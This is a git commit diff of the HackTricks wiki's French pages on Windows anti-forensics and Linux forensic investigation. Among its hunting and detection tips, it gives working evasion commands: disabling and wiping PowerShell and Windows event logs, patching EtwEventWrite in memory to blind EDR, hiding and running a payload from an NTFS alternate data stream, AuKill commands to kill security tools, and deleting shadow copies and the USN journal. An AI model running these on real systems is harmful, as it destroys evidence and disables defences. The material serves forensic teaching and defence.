mirror of
https://github.com/HackTricks-wiki/hacktricks.git
synced 2025-10-10 18:36:50 +00:00
Translated ['', 'src/generic-methodologies-and-resources/basic-forensic-
This commit is contained in:
parent
6f43cd75c3
commit
f9d3a8d706
@ -4,7 +4,7 @@
|
||||
|
||||
## Horodatages
|
||||
|
||||
Un attaquant peut être intéressé par **changer les horodatages des fichiers** pour éviter d'être détecté.\
|
||||
Un attaquant peut être intéressé par **le changement des horodatages des fichiers** pour éviter d'être détecté.\
|
||||
Il est possible de trouver les horodatages à l'intérieur du MFT dans les attributs `$STANDARD_INFORMATION` \_\_ et \_\_ `$FILE_NAME`.
|
||||
|
||||
Les deux attributs ont 4 horodatages : **Modification**, **accès**, **création**, et **modification du registre MFT** (MACE ou MACB).
|
||||
@ -50,11 +50,11 @@ Les horodatages **NTFS** ont une **précision** de **100 nanosecondes**. Ainsi,
|
||||
|
||||
### SetMace - Outil Anti-forensique
|
||||
|
||||
Cet outil peut modifier les deux attributs `$STARNDAR_INFORMATION` et `$FILE_NAME`. Cependant, depuis Windows Vista, il est nécessaire d'avoir un OS en direct pour modifier ces informations.
|
||||
Cet outil peut modifier les deux attributs `$STARNDAR_INFORMATION` et `$FILE_NAME`. Cependant, depuis Windows Vista, il est nécessaire qu'un OS en direct modifie ces informations.
|
||||
|
||||
## Masquage de Données
|
||||
|
||||
NFTS utilise un cluster et la taille minimale d'information. Cela signifie que si un fichier occupe un et demi cluster, la **moitié restante ne sera jamais utilisée** jusqu'à ce que le fichier soit supprimé. Il est donc possible de **cacher des données dans cet espace de remplissage**.
|
||||
NFTS utilise un cluster et la taille minimale d'information. Cela signifie que si un fichier occupe et utilise un cluster et demi, la **moitié restante ne sera jamais utilisée** jusqu'à ce que le fichier soit supprimé. Il est donc possible de **cacher des données dans cet espace de remplissage**.
|
||||
|
||||
Il existe des outils comme slacker qui permettent de cacher des données dans cet espace "caché". Cependant, une analyse du `$logfile` et du `$usnjrnl` peut montrer que certaines données ont été ajoutées :
|
||||
|
||||
@ -109,25 +109,25 @@ Chaque fois qu'un dossier est ouvert à partir d'un volume NTFS sur un serveur W
|
||||
|
||||
### Supprimer l'Historique USB
|
||||
|
||||
Tous les **Entrées de Périphériques USB** sont stockées dans le Registre Windows sous la clé de registre **USBSTOR** qui contient des sous-clés créées chaque fois que vous branchez un périphérique USB sur votre PC ou ordinateur portable. Vous pouvez trouver cette clé ici `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **En supprimant cela**, vous supprimerez l'historique USB.\
|
||||
Toutes les **Entrées de Périphériques USB** sont stockées dans le Registre Windows sous la clé de registre **USBSTOR** qui contient des sous-clés créées chaque fois que vous branchez un périphérique USB sur votre PC ou ordinateur portable. Vous pouvez trouver cette clé ici `HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Enum\USBSTOR`. **En supprimant cela**, vous supprimerez l'historique USB.\
|
||||
Vous pouvez également utiliser l'outil [**USBDeview**](https://www.nirsoft.net/utils/usb_devices_view.html) pour vous assurer que vous les avez supprimés (et pour les supprimer).
|
||||
|
||||
Un autre fichier qui sauvegarde des informations sur les USB est le fichier `setupapi.dev.log` à l'intérieur de `C:\Windows\INF`. Cela devrait également être supprimé.
|
||||
|
||||
### Désactiver les Copies de Sécurité
|
||||
### Désactiver les Copies d'Ombre
|
||||
|
||||
**Lister** les copies de sécurité avec `vssadmin list shadowstorage`\
|
||||
**Lister** les copies d'ombre avec `vssadmin list shadowstorage`\
|
||||
**Les supprimer** en exécutant `vssadmin delete shadow`
|
||||
|
||||
Vous pouvez également les supprimer via l'interface graphique en suivant les étapes proposées dans [https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html](https://www.ubackup.com/windows-10/how-to-delete-shadow-copies-windows-10-5740.html)
|
||||
|
||||
Pour désactiver les copies de sécurité [étapes à partir d'ici](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
|
||||
Pour désactiver les copies d'ombre [étapes à partir d'ici](https://support.waters.com/KB_Inf/Other/WKB15560_How_to_disable_Volume_Shadow_Copy_Service_VSS_in_Windows):
|
||||
|
||||
1. Ouvrez le programme Services en tapant "services" dans la zone de recherche après avoir cliqué sur le bouton de démarrage Windows.
|
||||
2. Dans la liste, trouvez "Volume Shadow Copy", sélectionnez-le, puis accédez aux Propriétés en cliquant avec le bouton droit.
|
||||
3. Choisissez Désactivé dans le menu déroulant "Type de démarrage", puis confirmez le changement en cliquant sur Appliquer et OK.
|
||||
|
||||
Il est également possible de modifier la configuration des fichiers qui vont être copiés dans la copie de sécurité dans le registre `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
|
||||
Il est également possible de modifier la configuration des fichiers qui vont être copiés dans la copie d'ombre dans le registre `HKLM\SYSTEM\CurrentControlSet\Control\BackupRestore\FilesNotToSnapshot`
|
||||
|
||||
### Écraser les fichiers supprimés
|
||||
|
||||
@ -142,7 +142,7 @@ Il est également possible de modifier la configuration des fichiers qui vont ê
|
||||
|
||||
### Désactiver les journaux d'événements Windows
|
||||
|
||||
- `reg add 'HKLM\SYSTEM\CurrentControlSet\Services\eventlog' /v Start /t REG_DWORD /d 4 /f`
|
||||
- `reg add 'HKLM\\SYSTEM\\CurrentControlSet\\Services\\eventlog' /v Start /t REG_DWORD /d 4 /f`
|
||||
- Dans la section des services, désactivez le service "Journal des événements Windows"
|
||||
- `WEvtUtil.exec clear-log` ou `WEvtUtil.exe cl`
|
||||
|
||||
@ -150,4 +150,147 @@ Il est également possible de modifier la configuration des fichiers qui vont ê
|
||||
|
||||
- `fsutil usn deletejournal /d c:`
|
||||
|
||||
---
|
||||
|
||||
## Journalisation Avancée & Manipulation de Trace (2023-2025)
|
||||
|
||||
### Journalisation des ScriptBlocks/Modules PowerShell
|
||||
|
||||
Les versions récentes de Windows 10/11 et Windows Server conservent des **artéfacts forensiques PowerShell riches** sous
|
||||
`Microsoft-Windows-PowerShell/Operational` (événements 4104/4105/4106).
|
||||
Les attaquants peuvent les désactiver ou les effacer à la volée :
|
||||
```powershell
|
||||
# Turn OFF ScriptBlock & Module logging (registry persistence)
|
||||
New-ItemProperty -Path "HKLM:\\SOFTWARE\\Microsoft\\PowerShell\\3\\PowerShellEngine" \
|
||||
-Name EnableScriptBlockLogging -Value 0 -PropertyType DWord -Force
|
||||
New-ItemProperty -Path "HKLM:\\SOFTWARE\\Policies\\Microsoft\\Windows\\PowerShell\\ModuleLogging" \
|
||||
-Name EnableModuleLogging -Value 0 -PropertyType DWord -Force
|
||||
|
||||
# In-memory wipe of recent PowerShell logs
|
||||
Get-WinEvent -LogName 'Microsoft-Windows-PowerShell/Operational' |
|
||||
Remove-WinEvent # requires admin & Win11 23H2+
|
||||
```
|
||||
Les défenseurs devraient surveiller les modifications apportées à ces clés de registre et la suppression en grande quantité des événements PowerShell.
|
||||
|
||||
### Patch ETW (Event Tracing for Windows)
|
||||
|
||||
Les produits de sécurité des points de terminaison s'appuient fortement sur ETW. Une méthode d'évasion populaire en 2024 consiste à patcher `ntdll!EtwEventWrite`/`EtwEventWriteFull` en mémoire afin que chaque appel ETW renvoie `STATUS_SUCCESS` sans émettre l'événement :
|
||||
```c
|
||||
// 0xC3 = RET on x64
|
||||
unsigned char patch[1] = { 0xC3 };
|
||||
WriteProcessMemory(GetCurrentProcess(),
|
||||
GetProcAddress(GetModuleHandleA("ntdll.dll"), "EtwEventWrite"),
|
||||
patch, sizeof(patch), NULL);
|
||||
```
|
||||
Public PoCs (e.g. `EtwTiSwallow`) implémentent la même primitive en PowerShell ou C++.
|
||||
Parce que le patch est **local au processus**, les EDRs fonctionnant dans d'autres processus peuvent le manquer.
|
||||
Détection : comparer `ntdll` en mémoire vs. sur disque, ou intercepter avant le mode utilisateur.
|
||||
|
||||
### Revival des Flux de Données Alternatifs (ADS)
|
||||
|
||||
Des campagnes de malware en 2023 (e.g. **FIN12** loaders) ont été observées mettant en scène des binaires de deuxième étape à l'intérieur des ADS pour rester hors de vue des scanners traditionnels :
|
||||
```cmd
|
||||
rem Hide cobalt.bin inside an ADS of a PDF
|
||||
type cobalt.bin > report.pdf:win32res.dll
|
||||
rem Execute directly
|
||||
wmic process call create "cmd /c report.pdf:win32res.dll"
|
||||
```
|
||||
Énumérez les flux avec `dir /R`, `Get-Item -Stream *`, ou Sysinternals `streams64.exe`. Copier le fichier hôte vers FAT/exFAT ou via SMB supprimera le flux caché et peut être utilisé par les enquêteurs pour récupérer la charge utile.
|
||||
|
||||
### BYOVD & “AuKill” (2023)
|
||||
|
||||
Bring-Your-Own-Vulnerable-Driver est désormais couramment utilisé pour **anti-forensics** dans les intrusions par ransomware. L'outil open-source **AuKill** charge un pilote signé mais vulnérable (`procexp152.sys`) pour suspendre ou terminer les capteurs EDR et forensiques **avant le chiffrement et la destruction des journaux** :
|
||||
```cmd
|
||||
AuKill.exe -e "C:\\Program Files\\Windows Defender\\MsMpEng.exe"
|
||||
AuKill.exe -k CrowdStrike
|
||||
```
|
||||
Le pilote est supprimé par la suite, laissant des artefacts minimes.
|
||||
Atténuations : activer la liste de blocage des pilotes vulnérables de Microsoft (HVCI/SAC) et alerter sur la création de services du noyau à partir de chemins modifiables par l'utilisateur.
|
||||
|
||||
---
|
||||
|
||||
## Linux Anti-Forensics : Auto-correction et Cloud C2 (2023–2025)
|
||||
|
||||
### Auto-correction des services compromis pour réduire la détection (Linux)
|
||||
Les adversaires "s'auto-corrigent" de plus en plus un service juste après l'avoir exploité pour à la fois prévenir la ré-exploitation et supprimer les détections basées sur des vulnérabilités. L'idée est de remplacer les composants vulnérables par les derniers binaires/JARs légitimes en amont, de sorte que les scanners rapportent l'hôte comme corrigé tout en maintenant la persistance et le C2.
|
||||
|
||||
Exemple : Apache ActiveMQ OpenWire RCE (CVE‑2023‑46604)
|
||||
- Après l'exploitation, les attaquants ont récupéré des JARs légitimes depuis Maven Central (repo1.maven.org), supprimé les JARs vulnérables dans l'installation d'ActiveMQ et redémarré le courtier.
|
||||
- Cela a fermé le RCE initial tout en maintenant d'autres points d'ancrage (cron, modifications de la configuration SSH, implants C2 séparés).
|
||||
|
||||
Exemple opérationnel (illustratif)
|
||||
```bash
|
||||
# ActiveMQ install root (adjust as needed)
|
||||
AMQ_DIR=/opt/activemq
|
||||
cd "$AMQ_DIR"/lib
|
||||
|
||||
# Fetch patched JARs from Maven Central (versions as appropriate)
|
||||
curl -fsSL -O https://repo1.maven.org/maven2/org/apache/activemq/activemq-client/5.18.3/activemq-client-5.18.3.jar
|
||||
curl -fsSL -O https://repo1.maven.org/maven2/org/apache/activemq/activemq-openwire-legacy/5.18.3/activemq-openwire-legacy-5.18.3.jar
|
||||
|
||||
# Remove vulnerable files and ensure the service uses the patched ones
|
||||
rm -f activemq-client-5.18.2.jar activemq-openwire-legacy-5.18.2.jar || true
|
||||
ln -sf activemq-client-5.18.3.jar activemq-client.jar
|
||||
ln -sf activemq-openwire-legacy-5.18.3.jar activemq-openwire-legacy.jar
|
||||
|
||||
# Apply changes without removing persistence
|
||||
systemctl restart activemq || service activemq restart
|
||||
```
|
||||
Forensic/hunting tips
|
||||
- Examine les répertoires de services pour des remplacements de binaire/JAR non planifiés :
|
||||
- Debian/Ubuntu : `dpkg -V activemq` et comparez les hachages/chemins de fichiers avec les miroirs de dépôt.
|
||||
- RHEL/CentOS : `rpm -Va 'activemq*'`
|
||||
- Recherchez les versions JAR présentes sur le disque qui ne sont pas détenues par le gestionnaire de paquets, ou des liens symboliques mis à jour hors bande.
|
||||
- Chronologie : `find "$AMQ_DIR" -type f -printf '%TY-%Tm-%Td %TH:%TM %p\n' | sort` pour corréler ctime/mtime avec la fenêtre de compromission.
|
||||
- Historique de shell/télémetrie de processus : preuves de `curl`/`wget` vers `repo1.maven.org` ou d'autres CDN d'artefacts immédiatement après l'exploitation initiale.
|
||||
- Gestion des changements : validez qui a appliqué le "patch" et pourquoi, pas seulement qu'une version corrigée est présente.
|
||||
|
||||
### Cloud‑service C2 avec des jetons porteurs et des stagers anti-analyse
|
||||
Le savoir-faire observé combinait plusieurs chemins C2 à long terme et un emballage anti-analyse :
|
||||
- Chargeurs ELF PyInstaller protégés par mot de passe pour entraver le sandboxing et l'analyse statique (par exemple, PYZ chiffré, extraction temporaire sous `/_MEI*`).
|
||||
- Indicateurs : hits `strings` tels que `PyInstaller`, `pyi-archive`, `PYZ-00.pyz`, `MEIPASS`.
|
||||
- Artefacts d'exécution : extraction vers `/tmp/_MEI*` ou chemins personnalisés `--runtime-tmpdir`.
|
||||
- C2 soutenu par Dropbox utilisant des jetons OAuth Bearer codés en dur
|
||||
- Marqueurs réseau : `api.dropboxapi.com` / `content.dropboxapi.com` avec `Authorization: Bearer <token>`.
|
||||
- Recherchez dans les proxy/NetFlow/Zeek/Suricata des HTTPS sortants vers des domaines Dropbox à partir de charges de travail serveur qui ne synchronisent normalement pas de fichiers.
|
||||
- C2 parallèle/de secours via tunneling (par exemple, Cloudflare Tunnel `cloudflared`), gardant le contrôle si un canal est bloqué.
|
||||
- IOCs d'hôte : processus/unites `cloudflared`, config à `~/.cloudflared/*.json`, sortant 443 vers les bords de Cloudflare.
|
||||
|
||||
### Persistance et "rollback de durcissement" pour maintenir l'accès (exemples Linux)
|
||||
Les attaquants associent fréquemment auto-correction et chemins d'accès durables :
|
||||
- Cron/Anacron : modifications du stub `0anacron` dans chaque répertoire `/etc/cron.*/` pour une exécution périodique.
|
||||
- Chasse :
|
||||
```bash
|
||||
for d in /etc/cron.*; do [ -f "$d/0anacron" ] && stat -c '%n %y %s' "$d/0anacron"; done
|
||||
grep -R --line-number -E 'curl|wget|python|/bin/sh' /etc/cron.*/* 2>/dev/null
|
||||
```
|
||||
- Rétrogradation de durcissement de la configuration SSH : activation des connexions root et modification des shells par défaut pour les comptes à faible privilège.
|
||||
- Chasse pour l'activation de la connexion root :
|
||||
```bash
|
||||
grep -E '^\s*PermitRootLogin' /etc/ssh/sshd_config
|
||||
# valeurs de drapeau comme "yes" ou paramètres trop permissifs
|
||||
```
|
||||
- Chasse pour des shells interactifs suspects sur des comptes système (par exemple, `games`) :
|
||||
```bash
|
||||
awk -F: '($7 ~ /bin\/(sh|bash|zsh)/ && $1 ~ /^(games|lp|sync|shutdown|halt|mail|operator)$/) {print}' /etc/passwd
|
||||
```
|
||||
- Artefacts de balise aléatoires et de noms courts (8 caractères alphabétiques) déposés sur le disque qui contactent également le C2 cloud :
|
||||
- Chasse :
|
||||
```bash
|
||||
find / -maxdepth 3 -type f -regextype posix-extended -regex '.*/[A-Za-z]{8}$' \
|
||||
-exec stat -c '%n %s %y' {} \; 2>/dev/null | sort
|
||||
```
|
||||
|
||||
Les défenseurs devraient corréler ces artefacts avec l'exposition externe et les événements de patch de service pour découvrir l'auto-rémédiation anti-forensique utilisée pour cacher l'exploitation initiale.
|
||||
|
||||
## References
|
||||
|
||||
- Sophos X-Ops – “AuKill: A Weaponized Vulnerable Driver for Disabling EDR” (Mars 2023)
|
||||
https://news.sophos.com/en-us/2023/03/07/aukill-a-weaponized-vulnerable-driver-for-disabling-edr
|
||||
- Red Canary – “Patching EtwEventWrite for Stealth: Detection & Hunting” (Juin 2024)
|
||||
https://redcanary.com/blog/etw-patching-detection
|
||||
|
||||
- [Red Canary – Patching for persistence: How DripDropper Linux malware moves through the cloud](https://redcanary.com/blog/threat-intelligence/dripdropper-linux-malware/)
|
||||
- [CVE‑2023‑46604 – Apache ActiveMQ OpenWire RCE (NVD)](https://nvd.nist.gov/vuln/detail/CVE-2023-46604)
|
||||
|
||||
{{#include ../../banners/hacktricks-training.md}}
|
||||
|
@ -11,7 +11,7 @@ Tout d'abord, il est recommandé d'avoir un **USB** avec des **binaires et bibli
|
||||
export PATH=/mnt/usb/bin:/mnt/usb/sbin
|
||||
export LD_LIBRARY_PATH=/mnt/usb/lib:/mnt/usb/lib64
|
||||
```
|
||||
Une fois que vous avez configuré le système pour utiliser de bons binaires connus, vous pouvez commencer à **extraire quelques informations de base** :
|
||||
Une fois que vous avez configuré le système pour utiliser de bons binaires connus, vous pouvez commencer à **extraire des informations de base** :
|
||||
```bash
|
||||
date #Date and time (Clock may be skewed, Might be at a different timezone)
|
||||
uname -a #OS info
|
||||
@ -31,18 +31,18 @@ find /directory -type f -mtime -1 -print #Find modified files during the last mi
|
||||
```
|
||||
#### Informations suspectes
|
||||
|
||||
Lors de l'obtention des informations de base, vous devez vérifier des choses étranges comme :
|
||||
Lors de l'obtention des informations de base, vous devez vérifier des éléments étranges tels que :
|
||||
|
||||
- **Les processus root** s'exécutent généralement avec de faibles PIDS, donc si vous trouvez un processus root avec un grand PID, vous pouvez suspecter
|
||||
- Vérifiez les **connexions enregistrées** des utilisateurs sans shell dans `/etc/passwd`
|
||||
- Vérifiez les **hashs de mot de passe** dans `/etc/shadow` pour les utilisateurs sans shell
|
||||
- Vérifiez les **hashs de mots de passe** dans `/etc/shadow` pour les utilisateurs sans shell
|
||||
|
||||
### Dump de mémoire
|
||||
|
||||
Pour obtenir la mémoire du système en cours d'exécution, il est recommandé d'utiliser [**LiME**](https://github.com/504ensicsLabs/LiME).\
|
||||
Pour **compiler** cela, vous devez utiliser le **même noyau** que celui utilisé par la machine victime.
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> N'oubliez pas que vous **ne pouvez pas installer LiME ou quoi que ce soit d'autre** sur la machine victime car cela apportera plusieurs modifications.
|
||||
|
||||
Donc, si vous avez une version identique d'Ubuntu, vous pouvez utiliser `apt-get install lime-forensics-dkms`\
|
||||
@ -54,7 +54,7 @@ sudo insmod lime.ko "path=/home/sansforensics/Desktop/mem_dump.bin format=lime"
|
||||
LiME prend en charge 3 **formats** :
|
||||
|
||||
- Brut (chaque segment concaténé ensemble)
|
||||
- Rembourré (même que brut, mais avec des zéros dans les bits de droite)
|
||||
- Rembourré (identique au brut, mais avec des zéros dans les bits de droite)
|
||||
- Lime (format recommandé avec des métadonnées)
|
||||
|
||||
LiME peut également être utilisé pour **envoyer le dump via le réseau** au lieu de le stocker sur le système en utilisant quelque chose comme : `path=tcp:4444`
|
||||
@ -64,7 +64,7 @@ LiME peut également être utilisé pour **envoyer le dump via le réseau** au l
|
||||
#### Arrêt
|
||||
|
||||
Tout d'abord, vous devrez **éteindre le système**. Ce n'est pas toujours une option car parfois le système sera un serveur de production que l'entreprise ne peut pas se permettre d'éteindre.\
|
||||
Il existe **2 façons** d'éteindre le système, un **arrêt normal** et un **arrêt "débrancher le câble"**. Le premier permettra aux **processus de se terminer comme d'habitude** et au **système de fichiers** d'être **synchronisé**, mais il permettra également au **malware** de **détruire des preuves**. L'approche "débrancher le câble" peut entraîner **une certaine perte d'informations** (pas beaucoup d'infos vont être perdues car nous avons déjà pris une image de la mémoire) et le **malware n'aura aucune opportunité** d'agir. Par conséquent, si vous **soupçonnez** qu'il pourrait y avoir un **malware**, exécutez simplement la **commande** **`sync`** sur le système et débranchez le câble.
|
||||
Il existe **2 façons** d'éteindre le système, un **arrêt normal** et un **arrêt "débrancher le câble"**. Le premier permettra aux **processus de se terminer comme d'habitude** et au **système de fichiers** d'être **synchronisé**, mais il permettra également au **malware** de **détruire des preuves**. L'approche "débrancher le câble" peut entraîner **une perte d'informations** (pas beaucoup d'infos vont être perdues car nous avons déjà pris une image de la mémoire) et le **malware n'aura aucune opportunité** d'agir. Par conséquent, si vous **soupçonnez** qu'il pourrait y avoir un **malware**, exécutez simplement la **commande** **`sync`** sur le système et débranchez le câble.
|
||||
|
||||
#### Prendre une image du disque
|
||||
|
||||
@ -77,7 +77,7 @@ dd if=<subject device> of=<image file> bs=512
|
||||
dcfldd if=<subject device> of=<image file> bs=512 hash=<algorithm> hashwindow=<chunk size> hashlog=<hash file>
|
||||
dcfldd if=/dev/sdc of=/media/usb/pc.image hash=sha256 hashwindow=1M hashlog=/media/usb/pc.hashes
|
||||
```
|
||||
### Pré-analyse de l'image disque
|
||||
### Analyse préliminaire de l'image disque
|
||||
|
||||
Imager une image disque sans plus de données.
|
||||
```bash
|
||||
@ -156,7 +156,7 @@ Pour rechercher efficacement des programmes installés sur les systèmes Debian
|
||||
- Pour Debian, inspectez _**`/var/lib/dpkg/status`**_ et _**`/var/log/dpkg.log`**_ pour obtenir des détails sur les installations de paquets, en utilisant `grep` pour filtrer des informations spécifiques.
|
||||
- Les utilisateurs de RedHat peuvent interroger la base de données RPM avec `rpm -qa --root=/mntpath/var/lib/rpm` pour lister les paquets installés.
|
||||
|
||||
Pour découvrir les logiciels installés manuellement ou en dehors de ces gestionnaires de paquets, explorez des répertoires comme _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, et _**`/sbin`**_. Combinez les listes de répertoires avec des commandes spécifiques au système pour identifier les exécutables non associés à des paquets connus, améliorant ainsi votre recherche de tous les programmes installés.
|
||||
Pour découvrir des logiciels installés manuellement ou en dehors de ces gestionnaires de paquets, explorez des répertoires comme _**`/usr/local`**_, _**`/opt`**_, _**`/usr/sbin`**_, _**`/usr/bin`**_, _**`/bin`**_, et _**`/sbin`**_. Combinez les listes de répertoires avec des commandes spécifiques au système pour identifier des exécutables non associés à des paquets connus, améliorant ainsi votre recherche de tous les programmes installés.
|
||||
```bash
|
||||
# Debian package and log details
|
||||
cat /var/lib/dpkg/status | grep -E "Package:|Status:"
|
||||
@ -196,6 +196,32 @@ cat /var/spool/cron/crontabs/* \
|
||||
#MacOS
|
||||
ls -l /usr/lib/cron/tabs/ /Library/LaunchAgents/ /Library/LaunchDaemons/ ~/Library/LaunchAgents/
|
||||
```
|
||||
#### Chasse : abus de Cron/Anacron via 0anacron et stubs suspects
|
||||
Les attaquants modifient souvent le stub 0anacron présent sous chaque répertoire /etc/cron.*/ pour garantir une exécution périodique.
|
||||
```bash
|
||||
# List 0anacron files and their timestamps/sizes
|
||||
for d in /etc/cron.*; do [ -f "$d/0anacron" ] && stat -c '%n %y %s' "$d/0anacron"; done
|
||||
|
||||
# Look for obvious execution of shells or downloaders embedded in cron stubs
|
||||
grep -R --line-number -E 'curl|wget|/bin/sh|python|bash -c' /etc/cron.*/* 2>/dev/null
|
||||
```
|
||||
#### Hunt: Rétrogradation du durcissement SSH et shells de porte dérobée
|
||||
Les modifications apportées à sshd_config et aux shells des comptes système sont courantes après une exploitation pour préserver l'accès.
|
||||
```bash
|
||||
# Root login enablement (flag "yes" or lax values)
|
||||
grep -E '^\s*PermitRootLogin' /etc/ssh/sshd_config
|
||||
|
||||
# System accounts with interactive shells (e.g., games → /bin/sh)
|
||||
awk -F: '($7 ~ /bin\/(sh|bash|zsh)/ && $1 ~ /^(games|lp|sync|shutdown|halt|mail|operator)$/) {print}' /etc/passwd
|
||||
```
|
||||
#### Chasser : Marqueurs Cloud C2 (Dropbox/Cloudflare Tunnel)
|
||||
- Les balises de l'API Dropbox utilisent généralement api.dropboxapi.com ou content.dropboxapi.com via HTTPS avec des jetons d'autorisation : Bearer.
|
||||
- Chasser dans proxy/Zeek/NetFlow pour une sortie Dropbox inattendue des serveurs.
|
||||
- Cloudflare Tunnel (`cloudflared`) fournit un C2 de secours sur le port sortant 443.
|
||||
```bash
|
||||
ps aux | grep -E '[c]loudflared|trycloudflare'
|
||||
systemctl list-units | grep -i cloudflared
|
||||
```
|
||||
### Services
|
||||
|
||||
Chemins où un malware pourrait être installé en tant que service :
|
||||
@ -207,7 +233,7 @@ Chemins où un malware pourrait être installé en tant que service :
|
||||
- **/etc/systemd/system** : Un répertoire pour les scripts du gestionnaire de système et de service.
|
||||
- **/etc/systemd/system/multi-user.target.wants/** : Contient des liens vers des services qui doivent être démarrés dans un niveau d'exécution multi-utilisateur.
|
||||
- **/usr/local/etc/rc.d/** : Pour des services personnalisés ou tiers.
|
||||
- **\~/.config/autostart/** : Pour les applications de démarrage automatique spécifiques à l'utilisateur, qui peuvent être un endroit caché pour des malwares ciblant l'utilisateur.
|
||||
- **\~/.config/autostart/** : Pour les applications de démarrage automatique spécifiques à l'utilisateur, qui peuvent être un endroit caché pour des malwares ciblant les utilisateurs.
|
||||
- **/lib/systemd/system/** : Fichiers d'unité par défaut à l'échelle du système fournis par les paquets installés.
|
||||
|
||||
### Kernel Modules
|
||||
@ -220,7 +246,7 @@ Les modules du noyau Linux, souvent utilisés par les malwares comme composants
|
||||
|
||||
### Other Autostart Locations
|
||||
|
||||
Linux utilise divers fichiers pour exécuter automatiquement des programmes lors de la connexion de l'utilisateur, pouvant potentiellement abriter des malwares :
|
||||
Linux utilise divers fichiers pour exécuter automatiquement des programmes lors de la connexion de l'utilisateur, pouvant abriter des malwares :
|
||||
|
||||
- **/etc/profile.d/**\*, **/etc/profile**, et **/etc/bash.bashrc** : Exécutés pour toute connexion utilisateur.
|
||||
- **\~/.bashrc**, **\~/.bash_profile**, **\~/.profile**, et **\~/.config/autostart** : Fichiers spécifiques à l'utilisateur qui s'exécutent lors de leur connexion.
|
||||
@ -235,7 +261,7 @@ Les systèmes Linux suivent les activités des utilisateurs et les événements
|
||||
- Utilisez `grep -iE "session opened for|accepted password|new session|not in sudoers" /var/log/auth.log` pour filtrer les événements d'authentification pertinents.
|
||||
- **/var/log/boot.log** : Contient des messages de démarrage du système.
|
||||
- **/var/log/maillog** ou **/var/log/mail.log** : Journalise les activités du serveur de messagerie, utile pour suivre les services liés aux e-mails.
|
||||
- **/var/log/kern.log** : Stocke les messages du noyau, y compris les erreurs et les avertissements.
|
||||
- **/var/log/kern.log** : Stocke les messages du noyau, y compris les erreurs et avertissements.
|
||||
- **/var/log/dmesg** : Contient les messages des pilotes de périphériques.
|
||||
- **/var/log/faillog** : Enregistre les tentatives de connexion échouées, aidant dans les enquêtes sur les violations de sécurité.
|
||||
- **/var/log/cron** : Journalise les exécutions des tâches cron.
|
||||
@ -246,7 +272,7 @@ Les systèmes Linux suivent les activités des utilisateurs et les événements
|
||||
- **/var/log/xferlog** : Enregistre les transferts de fichiers FTP.
|
||||
- **/var/log/** : Vérifiez toujours les journaux inattendus ici.
|
||||
|
||||
> [!NOTE]
|
||||
> [!TIP]
|
||||
> Les journaux système Linux et les sous-systèmes d'audit peuvent être désactivés ou supprimés lors d'une intrusion ou d'un incident de malware. Étant donné que les journaux sur les systèmes Linux contiennent généralement certaines des informations les plus utiles sur les activités malveillantes, les intrus les suppriment régulièrement. Par conséquent, lors de l'examen des fichiers journaux disponibles, il est important de rechercher des lacunes ou des entrées hors d'ordre qui pourraient indiquer une suppression ou une falsification.
|
||||
|
||||
**Linux maintient un historique des commandes pour chaque utilisateur**, stocké dans :
|
||||
@ -274,7 +300,7 @@ Certaines applications génèrent également leurs propres journaux :
|
||||
- **VIM** : Consultez _\~/.viminfo_ pour des détails d'utilisation, tels que les chemins de fichiers accédés et l'historique des recherches.
|
||||
- **Open Office** : Vérifiez l'accès récent aux documents qui pourrait indiquer des fichiers compromis.
|
||||
- **FTP/SFTP** : Examinez les journaux dans _\~/.ftp_history_ ou _\~/.sftp_history_ pour des transferts de fichiers qui pourraient être non autorisés.
|
||||
- **MySQL** : Enquêtez sur _\~/.mysql_history_ pour des requêtes MySQL exécutées, révélant potentiellement des activités non autorisées sur la base de données.
|
||||
- **MySQL** : Enquêtez sur _\~/.mysql_history_ pour des requêtes MySQL exécutées, révélant potentiellement des activités de base de données non autorisées.
|
||||
- **Less** : Analysez _\~/.lesshst_ pour l'historique d'utilisation, y compris les fichiers consultés et les commandes exécutées.
|
||||
- **Git** : Examinez _\~/.gitconfig_ et le projet _.git/logs_ pour des modifications des dépôts.
|
||||
|
||||
@ -282,7 +308,7 @@ Certaines applications génèrent également leurs propres journaux :
|
||||
|
||||
[**usbrip**](https://github.com/snovvcrash/usbrip) est un petit logiciel écrit en pur Python 3 qui analyse les fichiers journaux Linux (`/var/log/syslog*` ou `/var/log/messages*` selon la distribution) pour construire des tableaux d'historique des événements USB.
|
||||
|
||||
Il est intéressant de **connaître tous les USB qui ont été utilisés** et cela sera plus utile si vous avez une liste autorisée d'USB pour trouver des "événements de violation" (l'utilisation d'USB qui ne sont pas dans cette liste).
|
||||
Il est intéressant de **savoir tous les USB qui ont été utilisés** et cela sera plus utile si vous avez une liste autorisée d'USB pour trouver des "événements de violation" (l'utilisation d'USB qui ne figurent pas dans cette liste).
|
||||
|
||||
### Installation
|
||||
```bash
|
||||
@ -301,23 +327,23 @@ Plus d'exemples et d'informations dans le github : [https://github.com/snovvcras
|
||||
|
||||
## Examiner les comptes utilisateurs et les activités de connexion
|
||||
|
||||
Examinez le _**/etc/passwd**_, _**/etc/shadow**_ et les **journaux de sécurité** pour des noms ou des comptes inhabituels créés et ou utilisés à proximité d'événements non autorisés connus. Vérifiez également les possibles attaques par force brute sur sudo.\
|
||||
Examinez le _**/etc/passwd**_, le _**/etc/shadow**_ et les **journaux de sécurité** pour des noms ou des comptes inhabituels créés et ou utilisés à proximité d'événements non autorisés connus. Vérifiez également les possibles attaques par force brute sur sudo.\
|
||||
De plus, vérifiez des fichiers comme _**/etc/sudoers**_ et _**/etc/groups**_ pour des privilèges inattendus accordés aux utilisateurs.\
|
||||
Enfin, recherchez des comptes avec **aucun mot de passe** ou des mots de passe **facilement devinables**.
|
||||
Enfin, recherchez des comptes avec **aucun mot de passe** ou des **mots de passe facilement devinables**.
|
||||
|
||||
## Examiner le système de fichiers
|
||||
|
||||
### Analyser les structures de système de fichiers dans l'enquête sur les logiciels malveillants
|
||||
|
||||
